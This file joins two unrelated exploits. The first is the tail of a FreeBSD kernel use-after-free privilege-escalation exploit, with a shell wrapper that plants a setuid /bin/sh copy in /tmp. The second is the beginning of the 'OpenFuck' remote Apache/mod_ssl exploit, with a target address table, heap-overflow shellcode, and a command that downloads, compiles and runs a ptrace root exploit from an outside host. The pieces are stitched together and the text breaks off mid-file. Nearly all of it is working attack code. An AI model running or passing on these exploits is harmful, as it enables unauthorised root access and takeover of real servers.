void *write_to_file(void *thread_args) {
int fd, fd2, nbytes;
int *fd_ptr;
char buf[256];
struct thread_data *thread_data;
if (stick_thread_to_core(CORE_1) != 0) {
perror("[!] write_to_file: Could not stick thread to core");
}
fd_ptr = (int *) malloc(sizeof(int));
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = open(ATTACK_PATH, O_RDONLY);
printf("[+] write_to_file: Wait for signal from monitor\n");
pthread_mutex_lock(&write_mtx);
pthread_cond_wait(&write_cond, &write_mtx);
snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
nbytes = write(fd, buf, strlen(buf));
// Reopen directly after write to prevent panic later
//
// After the write f_count == 0 because after trigger_uaf()
// opened the read-only file, f_count == 1 and write()
// calls fdrop() at the end
//
// => f_count == 0
//
// A direct open hopefully assigns the now again free file
// object to fd so that we can prevent the panic with our
// increment primitive.
if ((fd = open_tmp(NULL)) == -1)
perror("[!] write_to_file: open_tmp");
*fd_ptr = fd;
if (nbytes < 0) {
perror("[!] [!] write_to_file:write");
} else if (nbytes > 0) {
printf("[+] write_to_file: We have written something...\n");
if (check_write(fd2) > 0)
printf("[+] write_to_file: It (probably) worked!\n");
else
printf("[!] write_to_file: It worked not :(\n");
}
printf("[+] write_to_file: Exit\n");
pthread_exit(fd_ptr);
}
void prepare(int sv[2], int fds[2]) {
int fd, fd2, i;
printf("[+] Start UaF preparation\n");
printf("[+] This can take a while\n");
// Get a single file descriptor to send via the socket
if ((fd = open_tmp(NULL)) == -1) {
perror("[!] open_tmp");
exit(1);
}
if ((fd2 = dup(fd)) == -1) {
perror("[!] dup");
exit(1);
}
// fp->f_count will increment by 0xfe in one iteration
// doing this 16909320 times will lead to
// f_count = 16909320 * 0xfe + 2 = 0xfffffff2
// Note the 2 because of the former call of dup() and
// the first open().
//
// To test our trigger we can send 0xd more fd's what
// would to an f_count of 0 when fdclose() is called in
// m_dispose_extcontrolm. fdrop() will reduce f_count to
// 0xffffffff = -1 and ultimately panic when _fdrop() is
// called because the latter asserts that f_count is 0.
// _fdrop is called in the first place because
// refcount_release() only checks that f_count is less or
// equal 1 to recognize the last reference.
//
// If we want to trigger the free without panic, we have
// to send 0xf fds and close an own what will lead to an
// fdrop() call without panic as f_count is 1 and reduced
// to 0 by close(). The unclosed descriptor references now
// a free 'struct file'.
for (i = 0; i < 16909320; i++) {
if (i % 1690930 == 0) {
printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093));
}
if (send_recv(fd, sv, N_FDS)) {
perror("[!] prepare:send_recv");
exit(1);
}
}
if (send_recv(fd, sv, 0xf)) {
perror("[!] prepare:send_recv");
exit(1);
}
fds[0] = fd;
fds[1] = fd2;
printf("[+] Finished UaF preparation\n");
}
void read_thread_status(int server_socket) {
int bytes_rec, count;
struct sockaddr_un client;
socklen_t len;
char buf[256];
struct timeval tv;
tv.tv_sec = 10;
tv.tv_usec = 0;
setsockopt(server_socket,
SOL_SOCKET, SO_RCVTIMEO,
(const char*)&tv, sizeof tv);
for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
if (count % 100 == 0) {
printf("[+] Hammer threads ready: %d\n", count);
}
bzero(&client, sizeof(struct sockaddr_un));
bzero(buf, 256);
len = sizeof(struct sockaddr_un);
if ((bytes_rec = recvfrom(server_socket,
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] recvfrom");
break;
}
}
if (count != NUM_FORKS * NUM_THREADS) {
printf("[!] Could not create all hammer threads, will try though!\n");
}
}
void fire() {
int i, j, fd, fd2, bytes_rec, server_socket;
int sv[2], fds[2], hammer_socket[NUM_FORKS];
int *fd_ptr;
char socket_path[256], sync_buf[3], buf[256];
pthread_t write_thread, trigger_thread, monitor_thread;
pthread_t hammer_threads[NUM_THREADS];
pid_t pids[NUM_FORKS];
socklen_t len;
struct thread_data thread_data;
struct sockaddr_un server, client;
struct sockaddr_un hammer_socket_addr[NUM_FORKS];
// Socket for receiving thread status
unlink(SERVER_PATH);
prepare_domain_socket(&server, SERVER_PATH);
server_socket = bind_domain_socket(&server);
// Sockets to receive hammer signal
for (i = 0; i < NUM_FORKS; i++) {
snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
unlink(socket_path);
prepare_domain_socket(&hammer_socket_addr[i], socket_path);
hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
}
strncpy(sync_buf, "1\n", 3);
len = sizeof(struct sockaddr_un);
if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
perror("[!] socketpair");
exit(1);
}
pthread_mutex_init(&write_mtx, NULL);
pthread_mutex_init(&trigger_mtx, NULL);
pthread_cond_init(&write_cond, NULL);
pthread_cond_init(&trigger_cond, NULL);
pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);
prepare(sv, fds);
fd = fds[0];
fd2 = fds[1];
thread_data.fd = fd;
thread_data.fd2 = fd2;
pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
for (j = 0; j < NUM_FORKS; j++) {
if ((pids[j] = fork()) < 0) {
perror("[!] fork");
abort();
}
else if (pids[j] == 0) {
pthread_mutex_init(&hammer_mtx, NULL);
pthread_cond_init(&hammer_cond, NULL);
close(fd);
close(fd2);
/* Prevent that a file stream in the hammer threads
* gets the file descriptor of fd for debugging purposes
*/
if ((fd = open_tmp("/tmp/dummy")) == -1)
perror("[!] dummy");
if ((fd2 = open_tmp("/tmp/dummy2")) == -1)
perror("[!] dummy2");
printf("[+] Fork %d fd: %d\n", j, fd);
printf("[+] Fork %d fd2: %d\n", j, fd2);
for (i = 0; i < NUM_THREADS; i++) {
pthread_create(&hammer_threads[i], NULL, hammer, NULL);
}
printf("[+] Fork %d created all threads\n", j);
if ((bytes_rec = recvfrom(hammer_socket[j],
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] accept");
abort();
}
pthread_cond_broadcast(&hammer_cond);
for (i = 0; i < NUM_THREADS; i++) {
pthread_join(hammer_threads[i], NULL);
}
pthread_cond_destroy(&hammer_cond);
pthread_mutex_destroy(&hammer_mtx);
exit(0);
} else {
printf("[+] Created child with PID %d\n", pids[j]);
}
}
read_thread_status(server_socket);
printf("[+] Send signal to Start Hammering\n");
for (i = 0; i < NUM_FORKS; i++) {
if (sendto(hammer_socket[i],
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &hammer_socket_addr[i],
sizeof(hammer_socket_addr[0])) == -1) {
perror("[!] sendto");
exit(1);
}
}
pthread_join(monitor_thread, NULL);
for (i = 0; i < NUM_FORKS; i++) {
kill(pids[i], SIGKILL);
printf("[+] Killed %d\n", pids[i]);
}
pthread_join(write_thread, (void **) &fd_ptr);
pthread_join(trigger_thread, NULL);
pthread_mutex_destroy(&write_mtx);
pthread_mutex_destroy(&trigger_mtx);
pthread_cond_destroy(&write_cond);
pthread_cond_destroy(&trigger_cond);
printf("[+] Returned fd: %d\n", *fd_ptr);
prevent_panic(sv, *fd_ptr);
// fd was acquired from write_to_file
// which allocs a pointer for it
free(fd_ptr);
}
int main(int argc, char **argv)
{
setbuf(stdout, NULL);
fire();
return 0;
}
EOF
cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c
cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
if (!geteuid())
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}
EOF
cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "[+] Firing the Heavy Cyber Weapon"
./heavy_cyber_weapon
su
if [ -f /tmp/xxxx ]; then
echo "[+] Enjoy!"
echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
/tmp/xxxx
else
echo "[!] FAIL"
fi
/*
* OF version r00t VERY PRIV8 spabam
* Version: v3.0.4
* Requirements: libssl-dev ( apt-get install libssl-dev )
* Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
* objdump -R /usr/sbin/httpd|grep free to get more targets
* #hackarena irc.brasnet.org
* Note: if required, host ptrace and replace wget target
*/
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>
#include <openssl/rc4.h>
#include <openssl/md5.h>
#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
/* update this if you add architectures */
#define MAX_ARCH 138
struct archs {
char* desc;
int func_addr; /* objdump -R /usr/sbin/httpd | grep free */
} architectures[] = {
{"Caldera OpenLinux (apache-1.3.26)",0x080920e0},
{"Cobalt Sun 6.0 (apache-1.3.12)",0x8120f0c},
{"Cobalt Sun 6.0 (apache-1.3.20)",0x811dcb8},
{"Cobalt Sun x (apache-1.3.26)",0x8123ac3},
{"Cobalt Sun x Fixed2 (apache-1.3.26)",0x81233c3},
{"Conectiva 4 (apache-1.3.6)",0x08075398},
{"Conectiva 4.1 (apache-1.3.9)",0x0808f2fe},
{"Conectiva 6 (apache-1.3.14)",0x0809222c},
{"Conectiva 7 (apache-1.3.12)",0x0808f874},
{"Conectiva 7 (apache-1.3.19)",0x08088aa0},
{"Conectiva 7/8 (apache-1.3.26)",0x0808e628},
{"Conectiva 8 (apache-1.3.22)",0x0808b2d0},
{"Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)",0x08095264},
{"Debian GNU Linux (apache_1.3.19-1)",0x080966fc},
{"Debian GNU Linux (apache_1.3.22-2)",0x08096aac},
{"Debian GNU Linux (apache-1.3.22-2.1)",0x08083828},
{"Debian GNU Linux (apache-1.3.22-5)",0x08083728},
{"Debian GNU Linux (apache_1.3.23-1)",0x08085de8},
{"Debian GNU Linux (apache_1.3.24-2.1)",0x08087d08},
{"Debian Linux GNU Linux 2 (apache_1.3.24-2.1)",0x080873ac},
{"Debian GNU Linux (apache_1.3.24-3)",0x08087d68},
{"Debian GNU Linux (apache-1.3.26-1)",0x0080863c4},
{"Debian GNU Linux 3.0 Woody (apache-1.3.26-1)",0x080863cc},
{"Debian GNU Linux (apache-1.3.27)",0x0080866a3},
{"FreeBSD (apache-1.3.9)", 0xbfbfde00},
{"FreeBSD (apache-1.3.11)",0x080a2ea8},
{"FreeBSD (apache-1.3.12.1.40)",0x080a7f58},
{"FreeBSD (apache-1.3.12.1.40)",0x080a0ec0},
{"FreeBSD (apache-1.3.12.1.40)",0x080a7e7c},
{"FreeBSD (apache-1.3.12.1.40_1)",0x080a7f18},
{"FreeBSD (apache-1.3.12)",0x0809bd7c},
{"FreeBSD (apache-1.3.14)", 0xbfbfdc00},
{"FreeBSD (apache-1.3.14)",0x080ab68c},
{"FreeBSD (apache-1.3.14)",0x0808c76c},
{"FreeBSD (apache-1.3.14)",0x080a3fc8},
{"FreeBSD (apache-1.3.14)",0x080ab6d8},
{"FreeBSD (apache-1.3.17_1)",0x0808820c},
{"FreeBSD (apache-1.3.19)", 0xbfbfdc00},
{"FreeBSD (apache-1.3.19_1)",0x0808c96c},
{"FreeBSD (apache-1.3.20)",0x0808cb70},
{"FreeBSD (apache-1.3.20)", 0xbfbfc000},
{"FreeBSD (apache-1.3.20+2.8.4)",0x0808faf8},
{"FreeBSD (apache-1.3.20_1)",0x0808dfb4},
{"FreeBSD (apache-1.3.22)", 0xbfbfc000},
{"FreeBSD (apache-1.3.22_7)",0x0808d110},
{"FreeBSD (apache_fp-1.3.23)",0x0807c5f8},
{"FreeBSD (apache-1.3.24_7)",0x0808f8b0},
{"FreeBSD (apache-1.3.24+2.8.8)",0x080927f8},
{"FreeBSD 4.6.2-Release-p6 (apache-1.3.26)",0x080c432c},
{"FreeBSD 4.6-Realease (apache-1.3.26)",0x0808fdec},
{"FreeBSD (apache-1.3.27)",0x080902e4},
{"Gentoo Linux (apache-1.3.24-r2)",0x08086c34},
{"Linux Generic (apache-1.3.14)",0xbffff500},
{"Mandrake Linux X.x (apache-1.3.22-10.1mdk)",0x080808ab},
{"Mandrake Linux 7.1 (apache-1.3.14-2)",0x0809f6c4},
{"Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)",0x0809d233},
{"Mandrake Linux 7.2 (apache-1.3.14-2mdk)",0x0809f6ef},
{"Mandrake Linux 7.2 (apache-1.3.14) 2",0x0809d6c4},
{"Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)",0x0809ccde},
{"Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)",0x0809ce14},
{"Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)",0x0809d262},
{"Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)",0x08083545},
{"Mandrake Linux 8.0 (apache-1.3.19-3)",0x0809ea98},
{"Mandrake Linux 8.1 (apache-1.3.20-3)",0x0809e97c},
{"Mandrake Linux 8.2 (apache-1.3.23-4)",0x08086580},
{"Mandrake Linux 8.2 #2 (apache-1.3.23-4)",0x08086484},
{"Mandrake Linux 8.2 (apache-1.3.24)",0x08086665},
{"Mandrake Linux 9 (apache-1.3.26)",0x0808b864},
{"RedHat Linux ?.? GENERIC (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux TEST1 (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux TEST2 (apache-1.3.12-1)",0x0808c0f4},
{"RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)",0x080d2c35},
{"RedHat Linux 4.2 (apache-1.1.3-3)",0x08065bae},
{"RedHat Linux 5.0 (apache-1.2.4-4)",0x0808c82c},
{"RedHat Linux 5.1-Update (apache-1.2.6)",0x08092a45},
{"RedHat Linux 5.1 (apache-1.2.6-4)",0x08092c2d},
{"RedHat Linux 5.2 (apache-1.3.3-1)",0x0806f049},
{"RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)",0x0808e4d8},
{"RedHat Linux 6.0 (apache-1.3.6-7)",0x080707ec},
{"RedHat Linux 6.0 (apache-1.3.6-7)",0x080707f9},
{"RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)",0x0808fd52},
{"RedHat Linux 6.0 Update (apache-1.3.24)",0x80acd58},
{"RedHat Linux 6.1 (apache-1.3.9-4)1",0x0808ccc4},
{"RedHat Linux 6.1 (apache-1.3.9-4)2",0x0808ccdc},
{"RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)",0x0808fd5d},
{"RedHat Linux 6.1-fp2000 (apache-1.3.26)",0x082e6fcd},
{"RedHat Linux 6.2 (apache-1.3.12-2)1",0x0808f689},
{"RedHat Linux 6.2 (apache-1.3.12-2)2",0x0808f614},
{"RedHat Linux 6.2 mod(apache-1.3.12-2)3",0xbffff94c},
{"RedHat Linux 6.2 update (apache-1.3.22-5.6)1",0x0808f9ec},
{"RedHat Linux 6.2-Update (apache-1.3.22-5.6)2",0x0808f9d4},
{"Redhat Linux 7.x (apache-1.3.22)",0x0808400c},
{"RedHat Linux 7.x (apache-1.3.26-1)",0x080873bc},
{"RedHat Linux 7.x (apache-1.3.27)",0x08087221},
{"RedHat Linux 7.0 (apache-1.3.12-25)1",0x0809251c},
{"RedHat Linux 7.0 (apache-1.3.12-25)2",0x0809252d},
{"RedHat Linux 7.0 (apache-1.3.14-2)",0x08092b98},
{"RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)",0x08084358},
{"RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)",0x0808438c},
{"RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)",0x08086e41},
{"RedHat Linux 7.1 (apache-1.3.19-5)1",0x0809af8c},
{"RedHat Linux 7.1 (apache-1.3.19-5)2",0x0809afd9},
{"RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)",0x0808438c},
{"RedHat Linux 7.1-Update (1.3.22-5.7.1)",0x08084389},
{"RedHat Linux 7.1 (apache-1.3.22-src)",0x0816021c},
{"RedHat Linux 7.1-Update (1.3.27-1.7.1)",0x08086ec89},
{"RedHat Linux 7.2 (apache-1.3.20-16)1",0x080994e5},
{"RedHat Linux 7.2 (apache-1.3.20-16)2",0x080994d4},
{"RedHat Linux 7.2-Update (apache-1.3.22-6)",0x08084045},
{"RedHat Linux 7.2 (apache-1.3.24)",0x80b0938},
{"RedHat Linux 7.2 (apache-1.3.26)",0x08161c16},
{"RedHat Linux 7.2 (apache-1.3.26-snc)",0x8161c14},
{"Redhat Linux 7.2 (apache-1.3.26 w/PHP)1",0x08269950},
{"Redhat Linux 7.2 (apache-1.3.26 w/PHP)2",0x08269988},
{"RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)",0x08086af9},
{"RedHat Linux 7.3 (apache-1.3.23-11)1",0x0808528c},
{"RedHat Linux 7.3 (apache-1.3.23-11)2",0x0808525f},
{"RedHat Linux 7.3 (apache-1.3.27)",0x080862e4},
{"RedHat Linux 8.0 (apache-1.3.27)",0x08084c1c},
{"RedHat Linux 8.0-second (apache-1.3.27)",0x0808151e},
{"RedHat Linux 8.0 (apache-2.0.40)",0x08092fa4},
{"Slackware Linux 4.0 (apache-1.3.6)",0x08088130},
{"Slackware Linux 7.0 (apache-1.3.9)",0x080a7fc0},
{"Slackware Linux 7.0 (apache-1.3.26)",0x083d37fc},
{"Slackware 7.0 (apache-1.3.26)2",0x083d2232},
{"Slackware Linux 7.1 (apache-1.3.12)",0x080a86a4},
{"Slackware Linux 8.0 (apache-1.3.20)",0x080ae67c},
{"Slackware Linux 8.1 (apache-1.3.24)",0x080b0c60},
{"Slackware Linux 8.1 (apache-1.3.26)",0x080b2100},
{"Slackware Linux 8.1-stable (apache-1.3.26)",0x080b0c60},
{"Slackware Linux (apache-1.3.27)",0x080b1a3a},
{"SuSE Linux 7.0 (apache-1.3.12)",0x0809f54c},
{"SuSE Linux 7.1 (apache-1.3.17)",0x08099984},
{"SuSE Linux 7.2 (apache-1.3.19)",0x08099ec8},
{"SuSE Linux 7.3 (apache-1.3.20)",0x08099da8},
{"SuSE Linux 8.0 (apache-1.3.23)",0x08086168},
{"SUSE Linux 8.0 (apache-1.3.23-120)",0x080861c8},
{"SuSE Linux 8.0 (apache-1.3.23-137)",0x080861c8},
/* this one unchecked cause require differend shellcode */
{"Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)",0xfd42630},
};
extern int errno;
int cipher;
int ciphers;
/* the offset of the local port from be beginning of the overwrite next chunk buffer */
#define FINDSCKPORTOFS 208 + 12 + 46
unsigned char overwrite_session_id_length[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
"\x70\x00\x00\x00"; /* unsigned int session id length; */
unsigned char overwrite_next_chunk[] =
"AAAA" /* int master key length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */
"AAAA" /* unsigned int session id length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */
"AAAA" /* unsigned int sid ctx length; */
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */
"AAAA" /* int not resumable; */
"\x00\x00\x00\x00" /* struct sess cert st *sess cert; */
"\x00\x00\x00\x00" /* X509 *peer; */
"AAAA" /* long verify result; */
"\x01\x00\x00\x00" /* int references; */
"AAAA" /* int timeout; */
"AAAA" /* int time */
"AAAA" /* int compress meth; */
"\x00\x00\x00\x00" /* SSL CIPHER *cipher; */
"AAAA" /* unsigned long cipher id; */
"\x00\x00\x00\x00" /* STACK OF(SSL CIPHER) *ciphers; */
"\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO EX DATA ex data; */
"AAAAAAAA" /* struct ssl session st *prev,*next; */
"\x00\x00\x00\x00" /* Size of previous chunk */
"\x11\x00\x00\x00" /* Size of chunk, in bytes */
"fdfd" /* Forward and back pointers */
"bkbk"
"\x10\x00\x00\x00" /* Size of previous chunk */
"\x10\x00\x00\x00" /* Size of chunk, PREV INUSE is set */
/* shellcode start */
"\xeb\x0a\x90\x90" /* jump 10 bytes ahead, land at shellcode */
"\x90\x90\x90\x90"
"\x90\x90\x90\x90" /* this is overwritten with FD by the unlink macro */
/* 72 bytes findsckcode by LSD-pl */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xe7" /* movl %esp,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x07,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <findsckcode+54> */
"\x66\xb8\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x02" /* je <findsckcode+56> */
"\xe2\xe0" /* loop <findsckcode+24> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */
"\xe2\xf6" /* loop <findsckcode+62> */
/* 10 byte setresuid(0,0,0); by core */
"\x31\xc9" /* xor %ecx,%ecx */
"\xf7\xe1" /* mul %ecx,%eax */
"\x51" /* push %ecx */
"\x5b" /* pop %ebx */
"\xb0\xa4" /* mov $0xa4,%al */
"\xcd\x80" /* int $0x80 */
/* bigger shellcode added by spabam */
/* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"
"\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"
*/
/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80"; /* int $0x80 */
/* read and write buffer*/
#define BUFSIZE 16384
/* hardcoded protocol stuff */
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16 /* 128 bits */
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
/* straight from the openssl source */
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2)
/* we keep all SSL2 state in this structure */
typedef struct {
int sock;
/* client stuff */
unsigned char challenge[CHALLENGE_LENGTH];
unsigned char master_key[RC4_KEY_LENGTH];
unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
/* connection id - returned by the server */
int conn_id_length;
unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
/* server certificate */
X509 *x509;
/* session keys */
unsigned char* read_key;
unsigned char* write_key;
RC4_KEY* rc4_read_key;
RC4_KEY* rc4_write_key;
/* sequence numbers, used for MAC calculation */
int read_seq;
int write_seq;
/* set to 1 when the SSL2 handshake is complete */
int encrypted;
} ssl_conn;
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"
long getip(char *hostname) {
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/* mixter's code w/enhancements by core */
int sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
/* Priming commands */
strcpy(snd, COMMAND1 "\n");
write(sockfd, snd, strlen(snd));
strcpy(snd, COMMAND2 "\n");
write(sockfd, snd, strlen(snd));
/* Main command loop */
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if (FD_ISSET(sockfd, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
printf("Good Bye!\n");
return 0;
}
if (n < 0) {
perror("read");
return 1;
}
fputs(rcv, stdout);
fflush(stdout); /* keeps output nice */
}
} /* for(;;) */
}
/* Returns the local port of a connected socket */
int get_local_port(int sock)
{
struct sockaddr_in s_in;
unsigned int namelen = sizeof(s_in);
if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
printf("Can't get local port: %s\n", strerror(errno));
exit(1);
}
return s_in.sin_port;
}
/* Connect to a host */
int connect_host(char* host, int port)
{
struct sockaddr_in s_in;
int sock;
s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = getip(host);
s_in.sin_port = htons(port);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
printf("Could not create a socket\n");
exit(1);
}
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
exit(1);
}
return sock;
}
/* Create a new ssl conn structure and connect to a host */
ssl_conn* ssl_connect_host(char* host, int port)
{
ssl_conn* ssl;
if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
printf("Can't allocate memory\n");
exit(1);
}
/* Initialize some values */
ssl->encrypted = 0;
ssl->write_seq = 0;
ssl->read_seq = 0;
ssl->sock = connect_host(host, port);
return ssl;
}
/* global buffer used by the ssl result() */
char res_buf[30];
/* converts an SSL error code to a string */
char* ssl_error(int code) {
switch (code) {
case 0x00: return "SSL2 PE UNDEFINED ERROR (0x00)";
case 0x01: return "SSL2 PE NO CIPHER (0x01)";
case 0x02: return "SSL2 PE NO CERTIFICATE (0x02)";
case 0x04: return "SSL2 PE BAD CERTIFICATE (0x03)";
case 0x06: return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
default:
sprintf(res_buf, "%02x", code);
return res_buf;
}
}
/* read len bytes from a socket. boring. */
int read_data(int sock, unsigned char* buf, int len)
{
int l;
int to_read = len;
do {
if ((l = read(sock, buf, to_read)) < 0) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}
to_read -= len;
} while (to_read > 0);
return len;
}
/* reads an SSL packet and decrypts it if necessery */
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
{
int rec_len, padding;
read_data(ssl->sock, buf, 2);
if ((buf[0] & 0x80) == 0) {
/* three byte header */
rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
read_data(ssl->sock, &buf[2], 1);
padding = (int)buf[2];
}
else {
/* two byte header */
rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
padding = 0;
}
if ((rec_len <= 0) || (rec_len > buf_size)) {
printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
exit(1);
}
read_data(ssl->sock, buf, rec_len);
if (ssl->encrypted) {
if (MD5_DIGEST_LENGTH + padding >= rec_len) {
if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
/* the server didn't switch to encryption due to an error */
return 0;
}
else {
printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);
exit(1);
}
}
/* decrypt the encrypted part of the packet */
RC4(ssl->rc4_read_key, rec_len, buf, buf);
/* move the decrypted message in the beginning of the buffer */
rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
}
if (buf[0] == SSL2_MT_ERROR) {
if (rec_len != 3) {
printf("Malformed server error message\n");
exit(1);
}
else {
return 0;
}
}
return rec_len;
}
/* send an ssl packet, encrypting it if ssl->encrypted is set */
